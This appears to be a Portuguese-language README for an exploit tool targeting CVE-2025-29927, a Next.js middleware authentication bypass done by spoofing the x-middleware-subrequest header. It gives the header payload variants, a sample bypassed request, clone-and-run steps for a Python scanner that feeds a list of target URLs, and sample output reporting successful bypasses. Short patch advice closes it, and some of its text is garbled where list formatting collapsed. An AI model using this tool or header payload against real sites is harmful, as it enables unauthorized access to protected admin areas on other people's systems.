
CVE-2025-29927: Next.js Middleware Exploit
Esta ferramenta demonstra e automatiza a exploração de CVE-2025-29927, uma vulnerabilidade no Next.js que permite a um atacante contornar verificações de middleware (como autenticação) abusando do cabeçalho interno x-middleware-subrequest.
O Next.js usa internamente o cabeçalho x-middleware-subrequest para evitar loops infinitos em requisições recursivas. No entanto, esse cabeçalho não é protegido contra manipulação externa em determinadas versões, permitindo que um ator malicioso o falsifique.
Ao definir esse cabeçalho manualmente, a lógica do middleware responsável por impor autenticação, redirecionamentos, logging ou filtragem é completamente ignorada.
x-middleware-subrequest403 se torna 20015.2.314.2.2513.5.9next start com output: standalone)next export)Normal Request:
GET /admin --> 403 Forbidden
Request with Header:
GET /admin --> 200 OK
x-middleware-subrequest: middleware
Mesmo que o alvo verifique autenticação via middleware, isto o contorna completamente.
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
Crie um arquivo chamado urls.txt com uma URL por linha:
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
Envia requisições para cada URL com e sem o cabeçalho da exploração
Usa múltiplas variações de payload:
middlewarepages/_middlewaresrc/middlewareRegistra:
middleware_exploited.txt: para bypasses reais (403 → 200)middleware_response_diff.txt: quando o conteúdo da resposta difereAtualize o Next.js imediatamente para uma versão segura:
15.2.3+14.2.25+13.5.9+Além disso:
getServerSideProps, JWT, sessões)[✔] Bypass successful: https://target.com/admin (payload: middleware)
[•] Response difference detected: https://target.com/login (payload: src/middleware)
[✔] Found 3 bypasses > middleware_exploited.txt
[•] Found 5 response diffs > middleware_response_diff.txt